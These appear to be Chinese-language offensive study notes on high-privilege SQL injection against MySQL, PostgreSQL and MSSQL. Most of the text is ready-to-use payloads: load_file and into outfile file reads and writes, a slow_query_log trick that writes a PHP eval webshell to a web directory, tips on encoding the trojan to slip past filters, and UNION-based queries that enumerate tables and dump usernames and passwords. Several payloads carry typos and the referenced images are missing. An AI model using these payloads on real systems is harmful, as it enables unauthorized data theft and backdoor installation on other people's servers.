以下关于注入读文件写shell的内容
设涉及到的数据库1 、 SQL 注入 -MYSQL 数据库2 、 SQL 注入 -MSSQL 数据库3 、 SQL 注入 -PostgreSQL 数据库其中Access 无高权限注入点 - 只能猜解,还是暴力猜解-虽然他有最高权限用户Admin,但不具备执行命令的权限,也没有对应的函数支撑;具有执行高权限命令的数据库和用户有MYSQL(root) ,PostgreSQL(superuser ), MSSQL(sa)
MYSQL高权限读写注入
前提条件:注入是root权限且secure_file_priv=''
----------------------------------------------------------------------------------
-读取文件:
UNION SELECT1,load_file('d:/w.txt'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--load_file()进一步读取配置文件或敏感数据列举
----------------------------------------------------------------------------- 写入文件:UNION SELECT 1,'xxxx',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile 'd:/www.txt'写文件就涉及到绝对路径的获取,可以通过 phpinfo, 报错 , 字典等来获取------------------------------------------------------------------------------------
小点
ps:读取某些文件之后还是需要右键源代码中查看,php代码会被解析从而不显示
ps:在写文件的时候木马内容可以进行编码从而起到一定的绕过,或者返回有问题时候也可使用;需要注意的是如果使用编码就不加单引号,不使用编码的时候就要使用单引号包裹,如下图
不编码文件内容写法
编码文件内容写法
ps:该参数置空就表示只允许在c盘中操作,那如果想进行其他盘符的读写就会收到限制,如下图所示
x
读文件为null
写文件报错
那么此时就需要使用secure_file_priv=''突破,如果注入点支持SQL执行环境,类似堆叠注入,那就可以直接使用下列命令执行突破,不支持就需要借助phpmyadmin或者直接连上对方数据库进行绕过;
set global slow_query_log=1;set global slow_query_log_file='shell 路径 ';select '<?php eval($_GET[A])?>' or SLEEP(1);原理就是借助日志记录的一个方式,执行的命令都会保存到一个文件里,于是我们就是把这个文件指定到web可以访问的地方去,再通过执行一个一句话的语句让其进行记录到该文件中,最后该文件变为shell后门去连接即可;
PostgreSQL高权限读写注入
#PostgreSQL- 高权限读写注入------------------- 测列数:order by 4and 1=2 union select null,null,null,null------------- 测显位:第 2 , 3and 1=2 union select 'null',null,null,null 错误and 1=2 union select null,'null',null,null 正常and 1=2 union select null,null,'null',null 正常and 1=2 union select null,null,null,'null' 错误--------------------------------- 获取信息:and 1=2 UNION SELECT null,version(),null,nulland 1=2 UNION SELECT null,current_user,null,nulland 1=2 union select null,current_database(),null,null----------------------------------- 获取数据库名:and 1=2 union select null,string_agg(datname,','),null,null from pg_database--------------------- 获取表名:and 1=2 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='public'2 、 and 1=2 union select null,string_agg(relname,','),null,null from pg_stat_user_tables---------------- 获取列名:and 1=2 union select null,string_agg(column_name,','),null,null from reg_users---------------------------- 获取数据:and 1=2 union select null,string_agg(name,','),string_agg(passowrd,','),null from information_schema.columns where table_name='reg_users'-------------------------与mysql手工注入有一点点区别,表名不是存放在information_schema_tables中,其他的大差不差,函数名称稍微有点差别----------------------------
小点
使用命令判断是否为dba用户and 1=2 union select null,string_agg(username,','),null,null FROM pg_user WHERE usesuper IS TRUE返回管理员用户名称查询当前用户名称,一致的话就代表是管理员用户and 1=2 UNION SELECT null,current_user,null,null如果是dba的话就可以尝试读文件写shell,具体文章如下
MSSQL高权限读写注入
测试列数order by 4and 1=2 union all select null,null,null,null----------------------测试显示位and 1=2 union all select null,1,null,nulland 1=2 union all select null,null,2,null-----------------------获取信息@@version 获取版本信息db_name()获取数据库名字suer、system_user、current_user、user_name 获取当前用户名@@SERVERNAME 获取服务器主机信息---------------------获取当前数据库名称and 1=2 union all select null,db_name(),null,null----------------------获取表名and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,nulland 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name no in ('manage')),null,null #得到除了数据manage之外的and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name no in ('manage','announcement')),null,null #得到除了数据manage,announcement之外的,获取其他数据库同理---------------------获取列名and 1=2 union all select null,(select top 1 col_name(boject_id('manage'),1),null,nulland 1=2 union all select null,(select top 1 col_name(boject_id('manage'),2),null,nulland 1=2 union all select null,(select top 1 col_name(boject_id('manage'),3),null,null----------------------获取数据and 1=2 union all select null,username,password,null from manage高权限读文件写shell参考文章